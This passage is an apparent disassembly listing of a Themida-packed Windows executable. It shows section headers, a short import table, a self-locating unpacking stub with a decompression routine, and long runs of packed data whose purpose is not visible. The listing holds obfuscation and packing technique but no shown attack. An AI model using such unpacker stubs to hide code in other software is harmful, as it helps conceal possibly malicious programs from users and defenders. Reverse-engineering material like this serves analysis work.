0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 _rsrc___ ends ; Section 3. (virtual address 00114000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00114000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 514000h dd 7C801A24h, 7C81CDDAh, 0 aE db 'Οe',9,']',0 align 10h dd 114050h, 114000h, 3 dup(0) dd 114079h, 11400Ch, 5 dup(0) aKernel32_dll_1 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 00115000) ; Virtual size : 00109000 (1085440.) ; Section size in file : 00109000 (1085440.) ; Offset to raw data for section: 00115000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute Themida_ segment para public 'CODE' use32 assume cs:Themida_ ;org 515000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing dd 0F5436A0Eh, 40CB7h, 5F836h, 15A172h, 0 ; --------------------------------------------------------------------------- mov eax, 0 pusha or eax, eax jz short loc_515086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_515041 popa jmp short loc_515076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF005150h, 0FFFFFFFFh, 3DFFFFFFh ; --------------------------------------------------------------------------- inc eax loc_515041: ; CODE XREF: Themida_:0051502Cj call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_51504E: ; CODE XREF: Themida_:00515072j mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_51506D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_515074 loc_51506D: ; CODE XREF: Themida_:00515059j sub eax, 1000h jmp short loc_51504E ; --------------------------------------------------------------------------- loc_515074: ; CODE XREF: Themida_:0051506Bj mov edi, eax loc_515076: ; CODE XREF: Themida_:0051502Fj jmp loc_515265 ; --------------------------------------------------------------------------- add eax, edi mov ecx, 11526Ah add ecx, edi jmp short loc_515090 ; --------------------------------------------------------------------------- loc_515086: ; CODE XREF: Themida_:0051501Cj mov eax, offset loc_58248B mov ecx, offset word_51526A loc_515090: ; CODE XREF: Themida_:00515084j push eax push ecx call sub_51511B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_515265 ; --------------------------------------------------------------------------- dw 9328h dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_51511B proc near ; CODE XREF: Themida_:00515092p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_515127: ; CODE XREF: sub_51511B:loc_51513Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_515132: ; CODE XREF: sub_51511B+7Aj ; sub_51511B+C3j ... add dl, dl jnz short loc_51513B mov dl, [esi] inc esi adc dl, dl loc_51513B: ; CODE XREF: sub_51511B+19j jnb short loc_515127 add dl, dl jnz short loc_515146 mov dl, [esi] inc esi adc dl, dl loc_515146: ; CODE XREF: sub_51511B+24j jnb short loc_515197 xor eax, eax add dl, dl jnz short loc_515153 mov dl, [esi] inc esi adc dl, dl loc_515153: ; CODE XREF: sub_51511B+31j jnb loc_515238 add dl, dl jnz short loc_515162 mov dl, [esi] inc esi adc dl, dl loc_515162: ; CODE XREF: sub_51511B+40j adc eax, eax add dl, dl jnz short loc_51516D mov dl, [esi] inc esi adc dl, dl loc_51516D: ; CODE XREF: sub_51511B+4Bj adc eax, eax add dl, dl jnz short loc_515178 mov dl, [esi] inc esi adc dl, dl loc_515178: ; CODE XREF: sub_51511B+56j adc eax, eax add dl, dl jnz short loc_515183 mov dl, [esi] inc esi adc dl, dl loc_515183: ; CODE XREF: sub_51511B+61j adc eax, eax jz short loc_51518D push edi sub edi, eax mov al, [edi] pop edi loc_51518D: ; CODE XREF: sub_51511B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_515132 ; --------------------------------------------------------------------------- loc_515197: ; CODE XREF: sub_51511B:loc_515146j mov eax, 1 loc_51519C: ; CODE XREF: sub_51511B:loc_5151B0j add dl, dl jnz short loc_5151A5 mov dl, [esi] inc esi adc dl, dl loc_5151A5: ; CODE XREF: sub_51511B+83j adc eax, eax add dl, dl jnz short loc_5151B0 mov dl, [esi] inc esi adc dl, dl loc_5151B0: ; CODE XREF: sub_51511B+8Ej jb short loc_51519C sub eax, ebx mov ebx, 1 jnz short loc_5151E3 mov ecx, 1 loc_5151C0: ; CODE XREF: sub_51511B:loc_5151D4j add dl, dl jnz short loc_5151C9 mov dl, [esi] inc esi adc dl, dl loc_5151C9: ; CODE XREF: sub_51511B+A7j adc ecx, ecx add dl, dl jnz short loc_5151D4 mov dl, [esi] inc esi adc dl, dl loc_5151D4: ; CODE XREF: sub_51511B+B2j jb short loc_5151C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_515132 ; --------------------------------------------------------------------------- loc_5151E3: ; CODE XREF: sub_51511B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_5151F1: ; CODE XREF: sub_51511B:loc_515205j add dl, dl jnz short loc_5151FA mov dl, [esi] inc esi adc dl, dl loc_5151FA: ; CODE XREF: sub_51511B+D8j adc ecx, ecx add dl, dl jnz short loc_515205 mov dl, [esi] inc esi adc dl, dl loc_515205: ; CODE XREF: sub_51511B+E3j jb short loc_5151F1 cmp eax, 7D00h jnb short loc_515228 cmp eax, 500h jb short loc_515223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_515132 ; --------------------------------------------------------------------------- loc_515223: ; CODE XREF: sub_51511B+F8j cmp eax, 7Fh ja short loc_51522B loc_515228: ; CODE XREF: sub_51511B+F1j add ecx, 2 loc_51522B: ; CODE XREF: sub_51511B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_515132 ; --------------------------------------------------------------------------- loc_515238: ; CODE XREF: sub_51511B:loc_515153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_515259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_515132 ; --------------------------------------------------------------------------- loc_515259: ; CODE XREF: sub_51511B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_51511B endp ; --------------------------------------------------------------------------- loc_515265: ; CODE XREF: Themida_:loc_515076j ; Themida_:005150B1j jmp loc_58248B ; --------------------------------------------------------------------------- word_51526A dw 38E9h ; DATA XREF: Themida_:0051508Bo db 90h db 35h, 52h, 1 dd 2E98F2EAh, 0C8AFAE10h, 0FA43B836h, 112E92F2h, 3321AFBBh dd 0FFFA10EEh, 646501F2h, 356BFE7Dh, 7F02D302h, 0A404F062h dd 68CF7807h, 122CAFFh, 572C4F69h, 983301F9h, 10AFDAEh dd 0B87188FFh, 2422BF46h, 0FFEB0EE1h, 73655201h, 0CC726174h dd 2EE27041h, 0C2F978F4h, 1145761Fh, 21F91FC2h, 78D70817h dd 65076854h, 6164696Dh, 27FD5F08h, 0F8D78C45h, 0D4E4C58Bh dd 0AE86028h, 0ED815D00h, 7E4359Fh, 49951889h, 11B50D06h dd 20850F44h, 83081271h, 380E65BDh, 8B0C7407h, 0B8E222E8h dd 0C27B8164h, 244470C7h, 40513E1Ch, 45186A15h, 6829A3E8h dd 83743E9Ah, 0ADF507Ah, 894B1E25h, 0AD5910Ah, 0EC0214E9h dd 8B55D057h, 0C483EC0Ah, 5AC0EED8h, 408DEA81h, 0DA098B36h dd 1BD845C7h, 400E1808h, 7D810889h, 1DC680FCh, 7F200F74h dd 0F7832408h, 12FF9810h, 0E163EB43h, 7461DC36h, 0C2C91426h dd 81064604h, 2FF7CC4h, 0D644498Eh, 8045018Dh, 0C7085D8Bh dd 4A194485h, 0A8D50h, 1888C3D1h, 0BA88941h, 6A2BD81h dd 0E3755D02h, 8D282794h, 75EC64BAh, 0E8A8004h, 5B90F4BBh dd 0F37ABB8h, 0D0D37854h, 4B080FCCh, 5F7753Bh, 4647C3AFh dd 46624A24h, 0D142A2F9h, 78ABA61h, 0D85FF0D0h, 0A0FC45EEh dd 0A304EB4Dh, 8046C8ADh, 0F740C53Eh, 348436BAh, 0C197DE6h dd 0F83E7FEBh, 12C86D0Ch, 0F40E4CF0h, 0C14A10A8h, 4F06514h dd 0D1F803D6h, 96C203E0h, 0DB330128h, 80301C8Ah, 0A72CCFBh dd 77390AC3h, 0EFEBD305h, 7F142226h, 0A0D6761h, 1E08F666h dd 0AC3F4F5h, 1AC310EAh, 0D0B7241h, 677460Ah, 121EA24h dd 0EC87F05Dh, 317D83F4h, 0B3B07202h, 7676C00Ch, 26AA64A5h dd 76E01CF8h, 3BA8A08Dh, 0FFC0A55h, 9CBD7882h, 38AA1BB0h dd 8BA0EE5h, 700AB90Eh, 1CBD84FCh, 0FFE0038h, 1C754947h dd 5D22B9FAh, 1BBC06Ah, 82F11251h, 2DDEB76h, 0F868E80h dd 0FE08E53Ah, 0FD36E065h, 268A7317h, 91E94FBCh, 0DE6B591Fh dd 13045853h, 0C4725B21h, 25558A03h, 30458205h, 43211508h dd 7400C453h, 0D3BC6757h, 22105C6Bh, 0FA600281h, 67C32C02h dd 64F41982h, 80F17A1Ch, 0E0B810DCh, 0E134CB8Ch, 4E392281h dd 830F765Bh, 43D511Ch, 0B33BE3D1h, 75520E46h, 11AC2E09h dd 0EC05480Eh, 69065E4h, 0C5846300h, 54968E05h, 8F538022h dd 29C2040Ah, 0E8718C8Ch, 0A60EDBE7h, 2B0CFFB3h, 22047781h dd 0C134011Dh, 7533F984h, 3FBC9020h, 680A7677h, 0E8330EFh dd 8C26EC41h, 0FF7ECC7Fh, 453F4043h, 4060E9A9h, 8C52C462h dd 11254D02h, 13B1AA82h, 845AAB34h, 98561322h, 2A825EE6h dd 0A0812DEEh, 8139EB07h, 44B9F58Ah, 97230A13h, 0CE95043h dd 200A11CFh, 0F79ACC74h, 7FCB00A3h, 0F081446Dh, 0B8005CE9h dd 0DA8D67FFh, 1F0CBC53h, 471029Eh, 8205E281h, 5930512Bh dd 468AE4C4h, 1B2245h, 81C45141h, 93C3DEEEh, 0EAAB650Ch dd 81F0Dh, 4C0776A2h, 44BC505Eh, 7AB24E01h, 8610CA0Bh dd 612912D7h, 315420EAh, 3800842Eh, 16FC7B19h, 3BAA2F04h dd 0F000D03Ah, 1F82DB86h, 0C7248BF7h, 23076662h, 16D2C839h dd 699B8A21h, 8C52CC4Ch, 11C45A39h, 1D884D8Ah, 0C4524280h dd 884BEh, 0AF7DB50Eh, 14EA3CA4h, 0C0E323CEh, 0EDAEF27Fh dd 89C7072Bh, 0B7A66Dh, 18454A27h, 67DFB000h, 0C010E08Ch dd 816CAAD9h, 167DCC3Ch, 3F581EA1h, 87A444C5h, 36CADA91h dd 5446C21Ah, 88C45C1Ch, 1AC45D8Ah, 0C4544440h, 27036A0Dh dd 0EADD6784h, 0F01D000Fh, 6B81B0FAh, 0D201600Ah, 0AEC69A49h dd 9C865879h, 7E1376DCh, 30224220h, 3B3D07E9h, 0D0EE3224h dd 0C2DE9960h, 608D1060h, 96B12103h, 0BC30C882h, 0BFF91076h dd 78F61213h, 0C9B1063Ch, 0D3000DD8h, 65239DBh, 9861208Ch dd 8B238041h, 826200C6h, 0E6124DC4h, 8FA4EA20h, 0FBD6943Fh dd 0A9DEE413h, 9965000h, 788C4EA4h, 40EC1CD4h, 672B40E8h dd 54720FB9h, 6BFBA3Ah, 890645Fh, 69BE0018h, 0B503F084h dd 89E3507Fh, 44FD4CEh, 0EA460E47h, 6F120B1Ch, 6402EC32h dd 8F4442A1h, 624AE794h, 7B909D35h, 1F149A0Fh, 0F7A795h dd 0D667F5EEh, 5F0E4860h, 0C05D85FEh, 1DBD1FC6h, 0A9FA71h dd 0A12D910Ah, 538FDF5Fh, 616008CFh, 0C9C1BD3Ah, 0F579DD4h dd 614EC2B3h, 0BDD9BC0h, 641846AEh, 4831BFE7h, 97860390h dd 2869E5AAh, 0FDE09BC0h, 0D1115818h, 9956A81h, 24DA4CC2h dd 0E6217C00h, 52004527h, 4FC0F10Bh, 0A68194h, 205912B8h dd 4234E6C6h, 87E9B638h, 80579CE5h, 906CFBE0h, 0D2BE1DF0h dd 65564C02h, 0ED00DF60h, 66C80C49h, 0FCF1855h, 69D21AAEh dd 0BC62C2C0h, 600C4842h, 0B95CEBEFh, 0C184603Fh, 0CE7CBC23h dd 70515706h, 0C3198CDDh, 0FC3A5DD0h, 0D1CE9D6h, 178A2A22h dd 2507F916h, 0A7EEE319h, 4FE4F4h, 0B8C06879h, 955F0031h dd 0AC8B2E2Ch, 0C8031081h, 6A180540h, 87391B8Ah, 7AC041ADh dd 0AB0CA00Eh, 30825F8Eh, 413C186Eh, 4AAF3601h, 2CEC5800h dd 17C96B62h, 22E118F5h, 42054138h, 7948BCF1h, 28A2C107h dd 99803685h, 30B2Dh, 41ACCF14h, 4AA16362h, 0C86A40C7h dd 196D7381h, 3FA10BEh, 97051EB6h, 7018FEAEh, 54595542h dd 0D8630788h, 40A416B4h, 0DDD6D1BEh, 0A70D7300h, 0E54550Bh dd 5200B0C9h, 5308C1Bh, 20FF39E1h, 5296B700h, 0A953124Fh dd 55060062h, 406BDA29h, 6A7A7BAFh, 8AACFE38h, 84B15F86h dd 0E40B3B00h, 0DDC772h, 643DF88h, 4CE67A12h, 217090A0h dd 5E0074B8h, 5AD9AA8Ah, 39E7E3D5h, 0AC37096Fh, 8B263118h dd 1B50837Bh, 1AA887h, 706DF299h, 8D73A9FDh, 0A5844050h dd 0EEEAA014h, 24940180h, 0E2DC8C84h, 0C1213080h, 0C87365CEh dd 0E89E0503h, 0C820CB24h, 618CAC03h, 30C45916h, 6BC47009h dd 0E217211Bh, 0E797F988h, 873BA850h, 310460A1h, 7B11EE79h dd 8C28B763h, 54190017h, 0F1AF0952h, 0D8A03DF7h, 4146196Bh dd 2F0F4000h, 5EAA91FEh, 38B4AB24h, 169F0583h, 7CC80311h dd 61941BC2h, 68A06B8Ah, 0F28A4B9Ch, 0F40CEC00h, 57F50B86h dd 7B5E0C04h, 87684391h, 0E248AA50h, 2D31731Bh, 5C04A018h dd 4E3D33D3h, 80104010h, 50128A8Bh, 0DE744390h, 0FAD0054Ah dd 660030C9h, 0AA5B20C5h, 5CDC7A50h, 0D862732Dh, 0E5301BB1h dd 1249215h, 95443CA6h, 0C4F3C043h, 0C43C3EC8h, 126280FAh dd 7A3DBF40h, 28C31D4Dh, 15AC80D0h, 0A6A0AD1Fh, 4F80E854h dd 1E918660h, 3A815B8h, 39E26B57h, 0F03F7413h, 4497C4D5h dd 8B06ED1Ah, 4DA90A5h, 0BF140248h, 63184DACh, 0A50DE444h dd 690316B8h, 0ED39F61h, 0E2BF65B9h, 6E1C811Dh, 34961642h dd 0F8091914h, 10DEBB11h, 81B12350h, 5C44F23Ah, 202EA23Eh dd 59E3079Bh, 0E6BE5015h, 25006119h, 0E41D735Eh, 15D7E1F6h dd 0A08BC78Dh, 0A90F0A00h, 37097048h, 0A150FD60h, 8CCE59h dd 54B4103Bh, 3222A4DEh, 1CEDFF00h, 36CB7AABh, 0A26C00B3h dd 5930CD6Dh, 0C77EBBF5h, 57062707h, 5E475063h, 546AEA70h dd 0CDC4073Ch, 81F0645Bh, 0F012DA30h, 0AF7EE4A4h, 0B31F670Fh dd 0F52181EBh, 94E4D4D3h, 0E05100EFh, 5A620B97h, 0F009022h dd 3A36275Ch, 87CE49h, 8C2495C7h, 8E979666h, 67782892h dd 4239E81Fh, 70801855h, 4C6E6300h, 0C54A45B5h, 28E90007h dd 0C97F5CFDh, 0FB498EAAh dd 96E0248h, 8F5F0B53h, 0A61B84B8h, 28C09806h, 8B3F720h dd 137B09E6h, 0DF17000h, 0AC403DAh, 0E39AF96Fh, 9BDC00A4h dd 65FF5D47h, 9F3DC013h, 35ADAC04h, 71C1E223h, 849D001Fh dd 0F9F00D1Bh, 4C40FC2Eh, 0A61F61C0h, 6E006A2Dh, 8374DBC2h dd 96220C81h, 0EA9085EBh, 0F8AA0773h, 70B87C27h, 2DFEAD41h dd 74616300h, 9ED4F8B7h, 9DC82CACh, 0BDBF0144h, 20516E0Ah dd 77410730h, 998B31FCh, 94DD0E54h, 6D7FB920h, 0B5054154h dd 5F701EFh, 0D5228000h, 194CAC1Eh, 40918B86h, 0DBC3070h dd 23618AB8h, 66187C99h, 3C488822h, 26067610h, 0C71CC487h dd 7D7C1220h, 40B010C2h, 0B8687700h, 0AEC7201Ch, 0EA796C06h dd 3E592212h, 0E203D3D2h, 756E1862h, 849C6149h, 0A897EC42h dd 0E13EE550h, 28630048h, 0FADE0DD1h, 6403345Bh, 0E3E94955h dd 79593CC3h, 0A2879205h, 0E6C44080h, 0BAB05DC2h, 2B882E7h dd 862BFD64h, 22413DE0h, 8880A3DEh, 938083EFh, 9B141AD0h dd 0F40289B8h, 0A08018D6h, 872FEF79h, 392CAC07h, 409064D7h dd 5855A23Dh, 4173EC02h, 0F8EC57EFh, 21E8A14Eh, 48821B9Bh dd 923B8E4Ch, 2418E0A5h, 0B214CCBCh, 0A1E09101h, 11E5CA29h dd 8A302180h, 15A320FBh, 0A001CF7Fh, 0DB7D7379h, 68EC4BE0h dd 116B1CFDh, 6843D8BDh, 80400326h, 0A6E7F73Ah, 0C3B0061h dd 0AFC83456h, 962C6F93h, 0E380340Bh, 6E7902E4h, 0DF73019h dd 0E842A4B0h, 0A351EB04h, 88C09EC7h, 60FB0170h, 0CAD52011h dd 0D30B5018h, 8587C87Ah, 0A041EDF6h, 0EA723B09h, 32682C4h dd 93641B01h, 28431AD3h, 30F600F8h, 2F925C51h, 0F9FB0048h dd 0F3A70BD4h, 0D201DA14h, 18419C6Fh, 1C228265h, 8811AB10h dd 94248055h, 0DAA641D0h, 0A1FA401h, 7F9EB91Dh, 788A7F70h dd 943D5CE6h, 5E20613h, 4029E5B4h, 80F18DB0h, 2B0014AEh dd 9403C6DEh, 599F116Fh, 9511F8DBh, 0EFE840E4h, 0A81340h dd 801DED26h, 0AF113710h, 3B6C3A16h, 0D0393803h, 19701603h dd 0BFAC411Ah, 0C83DC721h, 0F1597BE3h, 0ABA30494h, 30A1FB26h dd 79AAC003h, 63961A79h, 48131987h, 92F023DCh, 0BD48690Bh dd 180AD1BEh, 42987A71h, 0ED110996h, 808C0310h, 11597700h dd 0D4F2C0FEh, 9F5C0CA8h, 30492BE5h, 5E1EDCF8h, 0AB841385h dd 0B4943D8Ch, 10059CD8h, 3EB3E97h, 0A8A504ABh, 510BE36h dd 8AD5E82Bh, 651C045Dh, 8C404581h, 0BD364C00h, 2FF3F8h dd 19E9A298h, 6DAD32FBh, 0F7F9F601h, 2E2DDB61h, 533E424h dd 1640365Bh, 6884205Eh, 0E83D51B7h, 9A0F12B9h, 7A14BB01h dd 6B3056E4h, 2000B86Dh, 0CC8010FAh, 6802B09h, 0F0DCB868h dd 989A17h, 0E42A4404h, 0CDEADB3Eh, 0EE429B18h, 3660769h dd 6F5894F8h, 4593FE9Fh, 0AE378EE8h, 9EDDDF00h, 3975EDECh dd 708A50C6h, 2CF3004Fh, 0B4FDAA86h, 348A00Fh, 0C1FE1EF3h dd 98DCDE43h, 0A839DF87h, 9411B030h, 10AE4C7Ch, 0D89EAA8Fh dd 8C4BB829h, 35190A60h, 3D2C1h, 0CEBF7D70h, 88DE5BC8h dd 5D16C00h, 5DA45957h, 56462898h, 6D182980h, 0A8AD04E0h dd 9DDC4662h, 3A112188h, 402C9211h, 605308B0h, 90DFEA09h dd 30580460h, 6E298D4Fh, 8C030B8Bh, 926DAA47h, 0FB84D8F1h dd 0DAEA0FB6h, 0E1C9515Bh, 0DDF60820h, 0FC0BEFF9h, 0A10E0B6Fh dd 22290C4h, 0E4651006h, 48C0C368h, 587E8050h, 11113004h dd 28160C21h, 18482092h, 1802FF43h, 2D696D5h, 8E50BC46h dd 8F0D0CA1h, 94C0657Ah, 8B609A00h, 9746751h, 73390182h dd 0DD7B62AEh, 81B44423h, 25CB2F0h, 3384442h, 0F59D0432h dd 6613CBADh, 45920C7h, 2CE7E30h, 0E325EE3Ch, 0AAEC0438h dd 212040A4h, 105092A5h, 7D1C3163h, 5419A639h, 0C25EA88h dd 306C0949h, 60E815E0h, 0BE3C591Fh, 0D32CBC59h, 2100485Dh dd 0E005E25Ch, 38FE07B6h, 0ECDB2666h, 9256C38h, 8B540F58h dd 70F40749h, 0C23021F8h, 934132D3h, 0C8305AD4h, 150B807Ch dd 0E4E564CBh, 2FDDB200h, 7350B6B5h, 37F4B869h, 4428D420h dd 5AB8B0E5h, 955D4203h, 0C066D2C9h, 2AD8D3E8h, 20D4F6E1h dd 5C26A8EDh, 0E812369Ah, 7C08A856h, 0A36E0F78h, 500D0895h dd 0AD8240Ch, 700924B4h, 6DC06240h, 0B9786221h, 0C16394CAh dd 0C68C7901h, 24216555h, 874B1A4h, 0A3825D64h, 0AA8B9404h dd 3609A418h, 6618021Eh, 0E913E05Bh, 71076009h, 76F9AA0Dh dd 0E9A2403h, 0D82834ACh, 6190B5Dh, 8666B33Ah, 0C809414Eh dd 200E8BA3h, 0D52EC128h, 68152C8Fh, 0BF45009Ch, 0E2C31FFCh dd 9830D728h, 42E3DC44h, 501508B6h, 8C48852Dh, 0B8567Eh dd 0B5415C08h, 1E8646Dh, 0A42E3718h, 17AD4AFEh, 211BA210h dd 914B23F4h, 0AB092FC8h, 1A89A507h, 64BEC103h, 105E6037h dd 90408965h, 58D71E06h, 0E21458CEh, 0A0850C58h, 0A6286822h dd 281EDCAAh, 0E8591019h, 29F29658h, 4EF8C80h, 653A9399h dd 5D784C1Bh, 54630164h, 554B134Ah, 404405Ah, 0C8A18723h dd 0D00C0CCh, 1A10A9D8h, 30D02D08h, 0E5915E7Dh, 4490E7F3h dd 4851BB4Eh, 2A18B83Ch, 0F6A4C269h, 542C4F62h, 30225844h dd 0A134BC52h, 800B21C5h, 0DE0AA3Ah, 357017D9h, 0AC10151Ch dd 425BEB0Bh, 0A517C882h, 4232FA61h, 0BCB6E948h, 0E9C36C46h dd 610B45DEh, 0A2BC1926h, 277E661Ch, 0CD398DA1h, 2824299Bh dd 0F04254A8h, 0BEFAF10h, 4B9F1A0h, 944014A4h, 5DDF5E27h dd 75AB3101h, 8C429EE4h, 18313CC5h, 22327051h, 18CCE8C5h dd 818F6E7Fh, 6E1B5223h, 2099DDE2h, 0D8BC49BAh, 0A0A1E2B4h dd 709C240Dh, 0C8D208DDh, 0A581A481h, 2CE57064h, 88E250h dd 9EC65222h, 47009C3Eh, 6D80A234h, 2F5F44h, 0E1BB0F56h dd 0CAD71995h, 4BD8CE07h, 0F4D0F7D0h, 1C85893Ch, 0CFC6E9C7h dd 29C0E226h, 879F9994h, 5D7D6E00h, 76D4BDCEh, 0D32600BAh dd 0D73EF4BCh, 40C7A8FBh, 0EEF4878Bh, 38E24C00h, 8807AA18h dd 2B5A8D9Fh, 9EC1C990h, 197791h, 3EE8D007h, 0F556B2C0h dd 877A3A00h, 0BAC63CE0h, 35D70242h, 9188A018h, 44880C5h dd 0F8A8DE7Fh, 0D03B37CBh, 0D8AAA43Bh, 29699400h, 0B9C9EAh dd 2833D519h, 40E7FDD6h, 0A800D77Ah, 928E3E03h, 30FC32D1h dd 2C4026D3h, 0D27D4BA2h, 0E2378707h, 2320CB9Eh, 2DB05FEh dd 20BC0BCh, 92603857h, 0D0189382h, 0D640C626h, 0A32B203Dh dd 32878800h, 9EBDB85Bh, 24223D9Dh, 0DDCCF80h, 4174B9DBh dd 9300E97Dh, 0CEFCF3E1h, 3DC8F0h, 6F4B9D17h, 5B315492h dd 2438BA4Ch, 745D94E2h, 0A142C900h, 99A3FD31h, 787719Ch dd 0BCB8E27Ch, 616809Eh, 0E83CC007h, 72F70040h, 8C89E00Ah dd 0FF430715h, 0E3D926C8h, 0D1D06F31h, 29006E44h, 0F78C960h dd 1B282Ah, 0E803B4C4h, 46CA7B8h, 8918F47Eh, 24403119h dd 323320D7h, 5D446B00h, 78B6E27Eh, 1A960019h, 31C8D522h dd 0B30F9E4Dh, 0C0EFFFA8h, 0FA3CD47Ch, 0D74A000Ah, 9B6F1747h dd 5C0E936Dh, 76B6EC7Eh, 0EA8C6Ah, 3DC6034Fh, 2931E2h dd 9466999Dh, 0FAED336Bh, 489E7E1Dh, 0E1032090h, 56B49D2Fh dd 8747F780h, 0C63DD40Eh, 40007FCCh, 0D184ABE6h, 83570079h dd 0E1B4BAE5h, 277BDB98h, 4931B91Dh, 466CA80h, 0FE852661h dd 0AF90029h, 2738D03Ah, 0D60097AEh, 542E8778h, 19EBA0Fh dd 0D4052D42h, 0CC4B31CAh, 0FF006BF7h, 0D08B88F3h, 0AC8EEh dd 153BDA2Dh, 90D2856Fh dd 1E85A39h, 28A3BEB8h, 0AC6019DBh, 0C6D88EAh, 89753E13h dd 0B72504D2h, 0DE60FF04h, 59AC9Eh, 54A6D508h, 67B8C8F2h dd 0F318F114h, 0A400AB34h, 7650C58h, 7900F153h, 0B8F259B3h dd 214080FBh, 0E540E775h, 0F8E2FC2Fh, 774300A4h, 3B76868Eh dd 7A2F9085h, 2240810Eh, 7CDE870Bh, 0ED7B8040h, 60E1F510h dd 6513F073h, 28E03F21h, 356EE25h, 225DD250h, 71002318h dd 0E8D88EA8h, 763A108Dh, 1CD256D3h, 0BCB45820h, 0E1016C40h dd 8A441CF1h, 381DC166h, 2FFF8E42h, 21E80802h, 507C4Bh dd 60D059AAh, 0E56742DFh, 62600341h, 0C5C6FCFh, 4C681541h dd 21C05E08h, 99623AA5h, 0FC700F8h, 45DBD3E9h, 0A3186877h dd 57A09401h, 7F1888DFh, 6AD1D661h, 208453AAh, 225F0D47h dd 44A410E6h, 3F28C01h, 4F96402h, 0AF0B9840h, 5C80954Eh dd 20E8E3E6h, 449F0580h, 0C2008992h, 2BA0BB6Ah, 9743D53Dh dd 0EB8B7420h, 0E000C0Ah, 76E827BFh, 0C8AEF53h, 74EF96Dh dd 9614A888h, 904725h, 897EDC71h, 3AB4F15h, 0D53620EFh dd 0A3F7405Ch, 59125F5Dh, 8417C50h, 0AEAC3AE1h, 8772568Fh dd 97DB3B23h, 0C3E605F0h, 40E70400h, 5E530BF5h, 0D4FD0063h dd 3C1BE1F6h, 900C141Dh, 59524295h, 51AD0088h, 0FA9C75A0h dd 0A006DC1h, 789ABC4Dh, 124170h, 0C489AB2Fh, 39B3C716h dd 0BA0AF915h, 654000E8h, 0D40227CCh, 2089951Dh, 0A9494C70h dd 49DB0C4Ch, 4501816h, 0E0E9C4D5h, 27A4AD2Dh, 0EAD8A061h dd 2748AAADh, 0C4C03820h, 18252366h, 40FCCC6Dh, 0D300E859h dd 0E2C3887Ch, 3C002E4h, 51DA8771h, 0F15FBC63h, 8766884Eh dd 11DC4AC4h, 55DA0080h, 0B6D8051Dh, 0DF66DDFEh, 217B08h dd 2D55D123h, 0EA9560E9h, 68309B1Dh, 3CA40612h, 0EB777CBEh dd 86AA6440h, 0E8B2509Fh, 54F0DD5h, 0F3D9F042h, 67069BB0h dd 9600F6F8h, 0D302BB55h, 48510B12h, 0D2238887h, 0CC623B01h dd 6118446Fh, 53A688h, 1A0DAD62h, 7A83DD3Fh, 180B8C26h dd 29C95D87h, 0E287D8B0h, 0CAC400D4h, 0C3679454h, 0DB02D552h dd 0C6906355h, 4F4C5E01h, 8C4E9894h, 830933B0h, 2A2C9E5h dd 80B91FA0h, 641824F8h, 46ACA668h, 55D801C6h, 0B508051Bh dd 4988790Ch, 2E5514D0h, 6710986Fh, 16C50178h, 0D8659003h dd 986022FBh, 223160A1h, 1CD12610h, 2018EF5Eh, 7E62750h dd 69DCA101h, 87059389h, 2CC7EF6h, 350163E2h, 56887C5Ch dd 4F9065F0h, 12090BF0h, 45C00493h, 370025C8h, 8C036DACh dd 0E91ED5A4h, 0EE58402Eh, 0A28325C1h, 94C25E28h, 0DC01CA46h dd 0E8051F55h, 1D000BB6h, 21255D3h, 0A6002804h, 6FFDB860h dd 9D165F21h, 2080180Ah, 60B8DBF5h, 55DD60B4h, 0E005241Ah dd 0D4207070h, 408C5500h, 5D4DD92Eh, 4F7925F2h, 3B0158E8h dd 33DE0C00h, 7FD4BBDCh, 492C00BAh, 32E06ECBh, 